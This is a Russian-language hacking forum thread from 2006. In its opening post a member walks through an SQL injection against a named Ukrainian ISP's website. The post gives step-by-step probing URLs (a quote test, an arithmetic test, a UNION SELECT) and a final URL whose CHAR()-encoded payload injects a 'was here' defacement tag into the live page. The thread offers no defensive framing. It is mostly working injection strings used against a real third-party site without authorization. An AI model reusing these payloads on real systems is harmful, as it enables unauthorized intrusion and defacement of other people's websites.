гунька

Discussion in 'Уязвимости' started by Ded.MCz, 22 Dec 2006.

  1. Ded.MCz

    Ded.MCz Member

    Joined:
    16 Jan 2006
    Messages:
    18
    Likes Received:
    19
    Reputations:
    36
    Читал я как то тему на античате что то про провайдеры спорили... хеколи чото там...
    тут заметил линк...
    http://www.intercom.net.ua/index.php?lang=1&menu_id=14==>
    ==>http://www.intercom.net.ua/index.php?lang='1&menu_id=14
    увидил нечисть, пустая страница, но варнингов небыло...
    затем решил проверить http://www.intercom.net.ua/index.php?lang=2-1&menu_id=14
    и о чудо!)))
    я увидил то же что и по адресу http://www.intercom.net.ua/index.php?lang=1&menu_id=14
    кароче
    ==>http://www.intercom.net.ua/index.php?lang=99999%20UNION%20SELECT%201,2/*&menu_id=14
    потом собрал char на http://xtoolz.ru/files/char.php
    и получил
    http://www.intercom.net.ua/index.php?lang=99999%20UNION%20SELECT%201,CHAR(32,60,102,111,110,116,32,99,111,108,111,114,61,34,114,101,100,34,32,115,105,122,101,61,34,49,49,34,62,108,97,109,97,114,101,122,32,119,97,115,32,104,101,114,101,32,61,41,41,60,47,102,111,110,116,62)/*&menu_id=14
     
    1 person likes this.
  2. Denny

    Denny New Member

    Joined:
    12 Oct 2006
    Messages:
    2
    Likes Received:
    3
    Reputations:
    -5
    как вижу багу жуе прикрыли
     
  3. Ded.MCz

    Ded.MCz Member

    Joined:
    16 Jan 2006
    Messages:
    18
    Likes Received:
    19
    Reputations:
    36
    delete.
     
    #3 Ded.MCz, 22 Dec 2006
    Last edited: 18 Nov 2012